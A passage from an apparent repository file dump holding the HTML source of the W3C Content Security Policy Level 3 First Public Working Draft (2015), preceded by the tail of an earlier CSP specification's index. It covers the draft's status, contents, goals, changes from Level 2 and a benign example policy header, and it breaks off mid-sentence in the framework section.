href=#protected-resource title=\"section 2\">2</a>\n<li>referrer<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-referrer title=\"section 6.1\">6.1</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-referrer title=\"section 6.2\">6.2</a>\n<li>definition of, <a href=#referrer title=\"section 7.13\">7.13</a>\n</ul><li>reflected-xss, <a href=#reflected-xss title=\"section 7.14\">7.14</a>\n<li>report a violation, <a href=#report-a-violation title=\"section 4.4\">4.4</a>\n<li>report-uri, <a href=#report-uri title=\"section 7.15\">7.15</a>\n<li>resource representation, <a href=#resource-representation title=\"section 2\">2</a>\n<li>runs a worker, <a href=#runs-a-worker title=\"section 2\">2</a>\n<li>sandbox, <a href=#sandbox title=\"section 7.16\">7.16</a>\n<li>sandbox-token, <a href=#sandbox-token title=\"section 7.16\">7.16</a>\n<li>scheme-part, <a href=#scheme-part title=\"section 4.2\">4.2</a>\n<li>scheme-source, <a href=#scheme-source title=\"section 4.2\">4.2</a>\n<li>script-src, <a href=#script-src title=\"section 7.17\">7.17</a>\n<li>security policy, <a href=#security-policy title=\"section 2\">2</a>\n<li>security policy directive, <a href=#security-policy-directive title=\"section 2\">2</a>\n<li>SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent title=\"section 6.1\">6.1</a>\n<li>SecurityPolicyViolationEventInit, <a href=#dictdef-securitypolicyviolationeventinit title=\"section 6.2\">6.2</a>\n<li>send violation reports, <a href=#send-violation-reports title=\"section 4.4\">4.4</a>\n<li>set of report URIs, <a href=#set-of-report-uris title=\"section 7.15\">7.15</a>\n<li>SHA-256, <a href=#sha-256 title=\"section 2\">2</a>\n<li>SHA-384, <a href=#sha-384 title=\"section 2\">2</a>\n<li>SHA-512, <a href=#sha-512 title=\"section 2\">2</a>\n<li>source-expression, <a href=#source-expression title=\"section 4.2\">4.2</a>\n<li>source expression, <a href=#source-expression0 title=\"section 4.2\">4.2</a>\n<li>source-file, <a href=#source-file title=\"section 4.4\">4.4</a>\n<li>sourceFile<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-sourcefile title=\"section 6.1\">6.1</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-sourcefile title=\"section 6.2\">6.2</a>\n</ul><li>source-list, <a href=#source-list title=\"section 4.2\">4.2</a>\n<li>source\n    list, <a href=#source-list0 title=\"section 4.2\">4.2</a>\n<li>statusCode, <a href=#dom-securitypolicyviolationevent-statuscode title=\"section 6.1\">6.1</a>\n<li>stripped for reporting, <a href=#strip-uri-for-reporting title=\"section 4.4\">4.4</a>\n<li>strip uri for reporting, <a href=#strip-uri-for-reporting title=\"section 4.4\">4.4</a>\n<li>style-src, <a href=#style-src title=\"section 7.18\">7.18</a>\n<li>type, <a href=#dom-securitypolicyviolationevent-securitypolicyviolationevent-type title=\"section 6.1\">6.1</a>\n<li>URI, <a href=#uri title=\"section 2\">2</a>\n<li>uri-reference, <a href=#uri-reference title=\"section 7.15\">7.15</a>\n<li>valid hash, <a href=#valid-hash title=\"section 4.2.5\">4.2.5</a>\n<li>valid nonce, <a href=#valid-nonce title=\"section 4.2.4\">4.2.4</a>\n<li>violatedDirective<ul><li>attribute for SecurityPolicyViolationEvent, <a href=#dom-securitypolicyviolationevent-violateddirective title=\"section 6.1\">6.1</a>\n<li>attribute for SecurityPolicyViolationEventInit, <a href=#dom-securitypolicyviolationeventinit-violateddirective title=\"section 6.2\">6.2</a>\n</ul></ul></div>\n\n\n\n"
  },
  {
    "path": "published/FPWD-2015-01.html",
    "content": "<!doctype html><html lang=\"en\">\n <head>\n  <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n  <title>Content Security Policy Level 3</title>\n  <link href=\"default.css\" rel=\"stylesheet\" type=\"text/css\">\n  <link href=\"https://www.w3.org/StyleSheets/TR/W3C-WD\" rel=\"stylesheet\" type=\"text/css\">\n  <meta content=\"Bikeshed 1.0.0\" name=\"generator\">\n<style>\n  ul.toc ul ul ul {\n    margin: 0 0 0 2em;\n  }\n  ul.toc ul ul ul span.secno {\n    margin-left: -9em;\n  }\n</style>\n </head>\n <body class=\"h-entry\">\n  <div class=\"head\">\n   <p data-fill-with=\"logo\"><a class=\"logo\" href=\"http://www.w3.org/\"> <img alt=\"W3C\" height=\"48\" src=\"https://www.w3.org/Icons/w3c_home\" width=\"72\"> </a> </p>\n   <h1 class=\"p-name no-ref\" id=\"title\">Content Security Policy Level 3</h1>\n   <h2 class=\"no-num no-toc no-ref heading settled\" id=\"subtitle\"><span class=\"content\">W3C First Public Working Draft, <time class=\"dt-updated\" datetime=\"2015-01-19\">19 January 2015</time></span></h2>\n   <div data-fill-with=\"spec-metadata\">\n    <dl>\n     <dt>This version:\n     <dd><a class=\"u-url\" href=\"http://www.w3.org/TR/2015/WD-CSP-3-20150119/\">http://www.w3.org/TR/2015/WD-CSP-3-20150119/</a>\n     <dt>Latest version:\n     <dd><a href=\"http://www.w3.org/TR/CSP3/\">http://www.w3.org/TR/CSP3/</a>\n     <dt>Editor's Draft:\n     <dd><a href=\"https://w3c.github.io/webappsec-csp/\">https://w3c.github.io/webappsec-csp/</a>\n     <dt>Version History:\n     <dd><a href=\"https://github.com/w3c/webappsec-csp/commits/master/index.src.html\">https://github.com/w3c/webappsec-csp/commits/master/index.src.html</a>\n     <dt>Feedback:\n     <dd><span><a href=\"mailto:public-webappsec@w3.org?subject=%5BCSP%5D%20YOUR%20TOPIC%20HERE\">public-webappsec@w3.org</a> with subject line “<kbd>[CSP] <i data-lt=\"\">… message topic …</i></kbd>” (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\" rel=\"discussion\">archives</a>)</span>\n     <dt class=\"editor\">Editor:\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"56384\"><a class=\"p-name fn u-email email\" href=\"mailto:mkwst@google.com\">Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dt>Participate:\n     <dd><span><a href=\"https://github.com/w3c/webappsec-csp/issues/new\">File an issue</a> (<a href=\"https://github.com/w3c/webappsec-csp/issues\">open issues</a>)</span>\n    </dl>\n   </div>\n   <div data-fill-with=\"warning\"></div>\n   <p class=\"copyright\" data-fill-with=\"copyright\"><a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Copyright\">Copyright</a> © 2015 <a href=\"http://www.w3.org/\"><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup> (<a href=\"http://www.csail.mit.edu/\"><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>, <a href=\"http://www.ercim.eu/\"><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>, <a href=\"http://www.keio.ac.jp/\">Keio</a>, <a href=\"http://ev.buaa.edu.cn/\">Beihang</a>). W3C <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer\">liability</a>, <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks\">trademark</a> and <a href=\"http://www.w3.org/Consortium/Legal/copyright-documents\">document use</a> rules apply. </p>\n   <hr title=\"Separator for header\">\n  </div>\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"abstract\"><span class=\"content\">Abstract</span></h2>\n  <div class=\"p-summary\" data-fill-with=\"abstract\">\n   <p>This document defines a mechanism by which web developers can control the\n\nresources which a particular page can fetch or execute, as well as a number\nof security-relevant policy decisions.</p>\n  </div>\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"status\"><span class=\"content\">Status of this document</span></h2>\n  <div data-fill-with=\"status\">\n   <p> <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=\"http://www.w3.org/TR/\">W3C technical reports\n  index at http://www.w3.org/TR/.</a></em> </p>\n   <p> This document was published by the <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a> as a Working Draft. This document is intended to become a W3C Recommendation. </p>\n   <p> The (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\">archived</a>) public mailing list <a href=\"mailto:public-webappsec@w3.org?Subject=%5BCSP%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a> (see <a href=\"http://www.w3.org/Mail/Request\">instructions</a>)\n\tis preferred for discussion of this specification.\n\tWhen sending e-mail,\n\tplease put the text “CSP” in the subject,\n\tpreferably like this:\n\t“[CSP] <em>…summary of comment…</em>” </p>\n   <p> This document is a <strong>First Public Working Draft</strong>. </p>\n   <p> Publication as a First Public Working Draft does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress. </p>\n   <p> This document was produced by the <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a>. </p>\n   <p> This document was produced by a group operating under\n\tthe <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/\">5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=\"http://www.w3.org/2004/01/pp-impl/49309/status\" rel=\"disclosure\">public list of any patent disclosures</a> made in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential\">Essential Claim(s)</a> must disclose the information in accordance with <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure\">section 6 of the W3C Patent Policy</a>. </p>\n   <p> This document is governed by the <a href=\"http://www.w3.org/2015/Process-20150901/\" id=\"w3c_process_revision\">1 September 2015 W3C Process Document</a>. </p>\n   <p></p>\n  </div>\n  <div data-fill-with=\"at-risk\"></div>\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"contents\"><span class=\"content\">Table of Contents</span></h2>\n  <div data-fill-with=\"table-of-contents\" role=\"navigation\">\n   <ul class=\"toc\" role=\"directory\">\n    <li>\n     <a href=\"#intro\"><span class=\"secno\">1</span> <span class=\"content\">Introduction</span></a>\n     <ul class=\"toc\">\n      <li>\n       <a href=\"#examples\"><span class=\"secno\">1.1</span> <span class=\"content\">Examples</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#example-basic\"><span class=\"secno\">1.1.1</span> <span class=\"content\">Control Execution</span></a>\n       </ul>\n      <li><a href=\"#goals\"><span class=\"secno\">1.2</span> <span class=\"content\">Goals</span></a>\n      <li><a href=\"#changes-from-level-2\"><span class=\"secno\">1.3</span> <span class=\"content\">Changes from Level 2</span></a>\n      <li><a href=\"#open-questions\"><span class=\"secno\">1.4</span> <span class=\"content\">Open Questions</span></a>\n     </ul>\n    <li>\n     <a href=\"#framework\"><span class=\"secno\">2</span> <span class=\"content\">Framework</span></a>\n     <ul class=\"toc\">\n      <li>\n       <a href=\"#framework-policy\"><span class=\"secno\">2.1</span> <span class=\"content\">Policies</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#parse-serialized-policy\"><span class=\"secno\">2.1.1</span> <span class=\"content\"> Parse a <var>serialized CSP</var> as <var>disposition</var> </span></a>\n        <li><a href=\"#parse-serialized-policy-list\"><span class=\"secno\">2.1.2</span> <span class=\"content\"> Parse a serialized CSP <var>list</var> as <var>disposition</var> </span></a>\n       </ul>\n      <li>\n       <a href=\"#framework-directives\"><span class=\"secno\">2.2</span> <span class=\"content\">Directives</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#framework-directive-source-list\"><span class=\"secno\">2.2.1</span> <span class=\"content\">Source Lists</span></a>\n       </ul>\n      <li>\n       <a href=\"#framework-violation\"><span class=\"secno\">2.3</span> <span class=\"content\">Violations</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#create-violation-for-global\"><span class=\"secno\">2.3.1</span> <span class=\"content\"> Create a violation object for <var>global</var>, <var>policy</var>, and <var>directive</var> </span></a>\n        <li><a href=\"#create-violation-for-request\"><span class=\"secno\">2.3.2</span> <span class=\"content\"> Create a violation object for <var>request</var>, <var>policy</var>, and <var>directive</var> </span></a>\n       </ul>\n     </ul>\n    <li>\n     <a href=\"#policy-delivery\"><span class=\"secno\">3</span> <span class=\"content\"> Policy Delivery </span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#csp-header\"><span class=\"secno\">3.1</span> <span class=\"content\"> The <code>Content-Security-Policy</code> HTTP Response Header Field </span></a>\n      <li><a href=\"#cspro-header\"><span class=\"secno\">3.2</span> <span class=\"content\"> The <code>Content-Security-Policy-Report-Only</code> HTTP Response Header Field </span></a>\n      <li><a href=\"#meta-element\"><span class=\"secno\">3.3</span> <span class=\"content\"> The <code>&lt;meta></code> element </span></a>\n     </ul>\n    <li>\n     <a href=\"#integrations\"><span class=\"secno\">4</span> <span class=\"content\">Integrations</span></a>\n     <ul class=\"toc\">\n      <li>\n       <a href=\"#fetch-integration\"><span class=\"secno\">4.1</span> <span class=\"content\"> Integration with Fetch </span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#set-response-csp-list\"><span class=\"secno\">4.1.1</span> <span class=\"content\"> Set <var>response</var>’s <code>CSP list</code> </span></a>\n        <li><a href=\"#report-for-request\"><span class=\"secno\">4.1.2</span> <span class=\"content\"> Report Content Security Policy violations for <var>request</var> </span></a>\n        <li><a href=\"#should-block-request\"><span class=\"secno\">4.1.3</span> <span class=\"content\"> Should <var>request</var> be blocked by Content Security Policy? </span></a>\n        <li><a href=\"#should-block-response\"><span class=\"secno\">4.1.4</span> <span class=\"content\"> Should <var>response</var> to <var>request</var> be blocked by Content\n    Security Policy? </span></a>\n       </ul>\n      <li>\n       <a href=\"#html-integration\"><span class=\"secno\">4.2</span> <span class=\"content\"> Integration with HTML </span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#initialize-document-csp\"><span class=\"secno\">4.2.1</span> <span class=\"content\"> Initialize a <code>Document</code>'s <code>CSP list</code> </span></a>\n        <li><a href=\"#initialize-global-object-csp\"><span class=\"secno\">4.2.2</span> <span class=\"content\"> Initialize a global object’s <code>CSP list</code> </span></a>\n        <li><a href=\"#should-block-inline\"><span class=\"secno\">4.2.3</span> <span class=\"content\"> Should <var>element</var>’s inline <var>type</var> behavior be blocked by Content Security Policy? </span></a>\n       </ul>\n     </ul>\n    <li>\n     <a href=\"#reporting\"><span class=\"secno\">5</span> <span class=\"content\"> Reporting </span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#violation-events\"><span class=\"secno\">5.1</span> <span class=\"content\"> Violation DOM Events </span></a>\n      <li><a href=\"#deprecated-serialize-violation\"><span class=\"secno\">5.2</span> <span class=\"content\"> Obtain the deprecated serialization of <var>violation</var> </span></a>\n      <li><a href=\"#report-violation\"><span class=\"secno\">5.3</span> <span class=\"content\"> Report a <var>violation</var> </span></a>\n     </ul>\n    <li>\n     <a href=\"#csp-directives\"><span class=\"secno\">6</span> <span class=\"content\"> Content Security Policy Directives </span></a>\n     <ul class=\"toc\">\n      <li>\n       <a href=\"#directives-fetch\"><span class=\"secno\">6.1</span> <span class=\"content\"> Fetch Directives </span></a>\n       <ul class=\"toc\">\n        <li>\n         <a href=\"#directive-child-src\"><span class=\"secno\">6.1.1</span> <span class=\"content\"><code>child-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#child-src-algorithms\"><span class=\"secno\">6.1.1.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#directive-connect-src\"><span class=\"secno\">6.1.2</span> <span class=\"content\"><code>connect-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#connect-src-algorithms\"><span class=\"secno\">6.1.2.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#directive-default-src\"><span class=\"secno\">6.1.3</span> <span class=\"content\"><code>default-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#default-src-algorithms\"><span class=\"secno\">6.1.3.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#directive-font-src\"><span class=\"secno\">6.1.4</span> <span class=\"content\"><code>font-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#font-src-algorithms\"><span class=\"secno\">6.1.4.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#directive-img-src\"><span class=\"secno\">6.1.5</span> <span class=\"content\"><code>img-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#img-src-algorithms\"><span class=\"secno\">6.1.5.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#directive-manifest-src\"><span class=\"secno\">6.1.6</span> <span class=\"content\"><code>manifest-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#manifest-src-algorithms\"><span class=\"secno\">6.1.6.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#directive-media-src\"><span class=\"secno\">6.1.7</span> <span class=\"content\"><code>media-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#media-src-algorithms\"><span class=\"secno\">6.1.7.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#directive-object-src\"><span class=\"secno\">6.1.8</span> <span class=\"content\"><code>object-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#object-src-algorithms\"><span class=\"secno\">6.1.8.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#directive-script-src\"><span class=\"secno\">6.1.9</span> <span class=\"content\"><code>script-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#script-src-algorithms\"><span class=\"secno\">6.1.9.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#directive-style-src\"><span class=\"secno\">6.1.10</span> <span class=\"content\"><code>style-src</code></span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#style-src-algorithms\"><span class=\"secno\">6.1.10.1</span> <span class=\"content\">Algorithms</span></a>\n         </ul>\n        <li>\n         <a href=\"#fetch-directive-matching-url\"><span class=\"secno\">6.1.11</span> <span class=\"content\">URL Matching Algorithms</span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#does-request-violate-policy\"><span class=\"secno\">6.1.11.1</span> <span class=\"content\"> Does <var>request</var> violate <var>policy</var>? </span></a>\n          <li><a href=\"#match-url-to-source-list\"><span class=\"secno\">6.1.11.2</span> <span class=\"content\"> Does <var>url</var> match <var>source list</var>? </span></a>\n          <li><a href=\"#match-url-to-source-expression\"><span class=\"secno\">6.1.11.3</span> <span class=\"content\"> Does <var>url</var> match <var>expression</var> in <var>origin</var> with <var>redirect count</var>? </span></a>\n          <li><a href=\"#effective-directive-for-a-request\"><span class=\"secno\">6.1.11.4</span> <span class=\"content\"> Get the effective directive for <var>request</var> </span></a>\n         </ul>\n        <li>\n         <a href=\"#fetch-directive-matching-element\"><span class=\"secno\">6.1.12</span> <span class=\"content\">Element Matching Algorithms</span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#match-element-to-source-list\"><span class=\"secno\">6.1.12.1</span> <span class=\"content\"> Does <var>element</var> match source <var>list</var>? </span></a>\n         </ul>\n       </ul>\n      <li>\n       <a href=\"#directives-reporting\"><span class=\"secno\">6.2</span> <span class=\"content\"> Reporting Directives </span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#directive-report-uri\"><span class=\"secno\">6.2.1</span> <span class=\"content\"><code>report-uri</code></span></a>\n        <li><a href=\"#directive-report-to\"><span class=\"secno\">6.2.2</span> <span class=\"content\"><code>report-to</code></span></a>\n       </ul>\n      <li><a href=\"#directives-elsewhere\"><span class=\"secno\">6.3</span> <span class=\"content\"> Directives Defined in Other Documents </span></a>\n     </ul>\n    <li>\n     <a href=\"#security-considerations\"><span class=\"secno\">7</span> <span class=\"content\">Security Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#security-nonces\"><span class=\"secno\">7.1</span> <span class=\"content\">Nonce Reuse</span></a>\n     </ul>\n    <li>\n     <a href=\"#authoring-considerations\"><span class=\"secno\">8</span> <span class=\"content\">Authoring Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#multiple-policies\"><span class=\"secno\">8.1</span> <span class=\"content\"> The effect of multiple policies </span></a>\n     </ul>\n    <li>\n     <a href=\"#implementation-considerations\"><span class=\"secno\">9</span> <span class=\"content\">Implementation Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#extensions\"><span class=\"secno\">9.1</span> <span class=\"content\">Vendor-specific Extensions and Addons</span></a>\n     </ul>\n    <li>\n     <a href=\"#iana-considerations\"><span class=\"secno\">10</span> <span class=\"content\">IANA Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#iana-csp\"><span class=\"secno\">10.1</span> <span class=\"content\"> Content-Security-Policy </span></a>\n     </ul>\n    <li><a href=\"#acknowledgements\"><span class=\"secno\">11</span> <span class=\"content\">Acknowledgements</span></a>\n    <li>\n     <a href=\"#conformance\"><span class=\"secno\"></span> <span class=\"content\">Conformance</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#conventions\"><span class=\"secno\"></span> <span class=\"content\">Document conventions</span></a>\n      <li><a href=\"#conformant-algorithms\"><span class=\"secno\"></span> <span class=\"content\">Conformant Algorithms</span></a>\n     </ul>\n    <li>\n     <a href=\"#index\"><span class=\"secno\"></span> <span class=\"content\">Index</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#index-defined-here\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#index-defined-elsewhere\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by reference</span></a>\n     </ul>\n    <li>\n     <a href=\"#references\"><span class=\"secno\"></span> <span class=\"content\">References</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#normative\"><span class=\"secno\"></span> <span class=\"content\">Normative References</span></a>\n      <li><a href=\"#informative\"><span class=\"secno\"></span> <span class=\"content\">Informative References</span></a>\n     </ul>\n    <li><a href=\"#idl-index\"><span class=\"secno\"></span> <span class=\"content\">IDL Index</span></a>\n    <li><a href=\"#issues-index\"><span class=\"secno\"></span> <span class=\"content\">Issues Index</span></a>\n   </ul>\n  </div>\n  <main>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"1\" id=\"intro\"><span class=\"secno\">1. </span><span class=\"content\">Introduction</span><a class=\"self-link\" href=\"#intro\"></a></h2>\n    <p><em>This section is not normative.</em></p>\n    <p>This document defines Content Security Policy (CSP), a tool which developers\n  can use to lock down their applications in various ways, mitigating the risk\n  of content injection vulnerabilities such as cross-site scripting, and\n  reducing the privilege with which their applications execute.</p>\n    <p>CSP is not intended as a first line of defense against content injection\n  vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces\n  the harm that a malicious injection can cause, but it is not a replacement for\n  careful input validation and output encoding.</p>\n    <p>This document is an iteration on Content Security Policy Level 2, with the\n  goal of more clearly explaining the interactions between CSP, HTML, and Fetch\n  on the one hand, and providing clear hooks for modular extensibility on the\n  other. Ideally, this will form a stable core upon which we can build new\n  functionality.</p>\n    <h3 class=\"heading settled\" data-level=\"1.1\" id=\"examples\"><span class=\"secno\">1.1. </span><span class=\"content\">Examples</span><a class=\"self-link\" href=\"#examples\"></a></h3>\n    <h4 class=\"heading settled\" data-level=\"1.1.1\" id=\"example-basic\"><span class=\"secno\">1.1.1. </span><span class=\"content\">Control Execution</span><a class=\"self-link\" href=\"#example-basic\"></a></h4>\n    <div class=\"example\" id=\"example-1451d1f8\">\n     <a class=\"self-link\" href=\"#example-1451d1f8\"></a> MegaCorp Inc’s developers want to protect themselves against cross-site\n    scripting attacks. They can mitigate the risk of script injection by\n    ensuring that their trusted CDN is the only origin from which script can\n    load and execute. Moreover, they wish to ensure that no plugins can\n    execute in their pages' contexts. The following policy has that effect: \n<pre>Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'\n</pre>\n    </div>\n    <h3 class=\"heading settled\" data-level=\"1.2\" id=\"goals\"><span class=\"secno\">1.2. </span><span class=\"content\">Goals</span><a class=\"self-link\" href=\"#goals\"></a></h3>\n    <p>Content Security Policy aims to do to a few related things:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Mitigate the risk of content-injection attacks by giving developers\n  fairly granular control over</p>\n      <ul>\n       <li data-md=\"\">\n        <p>The resources which can be requested (and subsequently embedded or\n  executed) on behalf of a specific <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code> or <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/workers/#worker\">Worker</a></code></p>\n       <li data-md=\"\">\n        <p>The execution of inline script</p>\n       <li data-md=\"\">\n        <p>Dynamic code execution (via <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.ecma-international.org/ecma-262/6.0/index.html#sec-eval-x\">eval()</a></code> and similar constructs)</p>\n       <li data-md=\"\">\n        <p>The application of inline style</p>\n      </ul>\n     <li data-md=\"\">\n      <p>Mitigate the risk of attacks which require a resource to be embedded\n  in a malicious context (the \"Pixel Perfect\" attack described in <a data-link-type=\"biblio\" href=\"#biblio-timing\">[TIMING]</a>, for example) by giving developers granular control over the\n  origins which can embed a given resource.</p>\n     <li data-md=\"\">\n      <p>Provide a policy framework which allows developers to reduce the privilege\n  of their applications.</p>\n     <li data-md=\"\">\n      <p>Provide a reporting mechanism which allows developers to detect flaws\n  being exploited in the wild.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"1.3\" id=\"changes-from-level-2\"><span class=\"secno\">1.3. </span><span class=\"content\">Changes from Level 2</span><a class=\"self-link\" href=\"#changes-from-level-2\"></a></h3>\n    <p>This document describes an evolution of the Content Security Policy Level 2\n  specification <a data-link-type=\"biblio\" href=\"#biblio-csp2\">[CSP2]</a>. The following is a high-level overview of the changes:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>The specification has been rewritten from the ground up in terms of the <a data-link-type=\"biblio\" href=\"#biblio-fetch\">[FETCH]</a> specification, which should make it simpler to integrate CSP’s\n  requirements and restrictions with other specifications (and with\n  Service Workers in particular).</p>\n     <li data-md=\"\">\n      <p>The <code>frame-src</code> directive, which was deprecated in CSP Level\n  2, has been removed.</p>\n     <li data-md=\"\">\n      <p>Insecure schemes in source expressions now match their secure variants.\n  That is, <code>http:</code> is equivalent to <code>http: https:</code>, and <code>http://a.com</code> to <code>http://a.com https://a.com</code>.</p>\n      <p>Likewise, <code>'self'</code> now matches <code>https</code> and <code>wss</code> variants of the page’s\n  origin, even on pages whose scheme is <code>http</code>.</p>\n     <li data-md=\"\">\n      <p>Violation reports generated from inline script or style will now report\n  \"<code>inline</code>\" as the blocked resource. Likewise, blocked <code>eval()</code> execution\n  will report \"<code>eval</code>\" as the blocked resource.</p>\n     <li data-md=\"\">\n      <p>Directives with effects on a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code> or <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/workers/#worker\">Worker</a></code> itself (as opposed\n  to the resources such a context can load) have moved out into a separate <a data-link-type=\"biblio\" href=\"#biblio-csp-document\">[CSP-DOCUMENT]</a> module. This includes <code>base-uri</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>sandbox</code>.</p>\n     <li data-md=\"\">\n      <p>The <code>manifest-src</code> directive has been added.</p>\n     <li data-md=\"\">\n      <p>The <code>report-uri</code> directive is deprecated in favor of the new <code>report-to</code> directive, which relies on <a data-link-type=\"biblio\" href=\"#biblio-oob-reporting\">[OOB-REPORTING]</a> as infrastructure.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"1.4\" id=\"open-questions\"><span class=\"secno\">1.4. </span><span class=\"content\">Open Questions</span><a class=\"self-link\" href=\"#open-questions\"></a></h3>\n    <ol>\n     <li data-md=\"\">\n      <p>Do we really want to remove <code>frame-src</code>? Though the threat model of\n  workers and frames is similar, they have distinct capabilities. Perhaps\n  it makes sense for folks to allow workers while disallowing frames, or\n  vice-versa?</p>\n     <li data-md=\"\">\n      <p>Can we enable <code>sandbox</code> inside <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>? It’s not clear what threat we’re\n  preventing by dropping support for it (and Chrome and Safari support it\n  today).</p>\n     <li data-md=\"\">\n      <p>Reporting:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Do we still need to strip values? I think we’ve removed much of the\n  risk by using the original URL of a blocked resource; there shouldn’t\n  be anything in the report JSON that script can’t gather on its own by\n  walking the DOM.</p>\n      </ol>\n    </ol>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"2\" id=\"framework\"><span class=\"secno\">2. </span><span class=\"content\">Framework</span><a class=\"self-link\" href=\"#framework\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"2.1\" id=\"framework-policy\"><span class=\"secno\">2.1. </span><span class=\"content\">Policies</span><a class=\"self-link\" href=\"#framework-policy\"></a></h3>\n    <p>A <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"policies\" id=\"policy\">policy<a class=\"self-link\" href=\"#policy\"></a></dfn> defines a set of allowed and\n  restricted behaviors, and may be applied to a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/browsers.html#dom-window\">Window</a></code> or <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#workerglobalscope\">WorkerGlobalScope</a></code> as described in <a href=\"#initialize-global-object-csp\">§4.2.2 Initialize a global object’s CSP list</a>.</p>\n    <p>Each policy has an 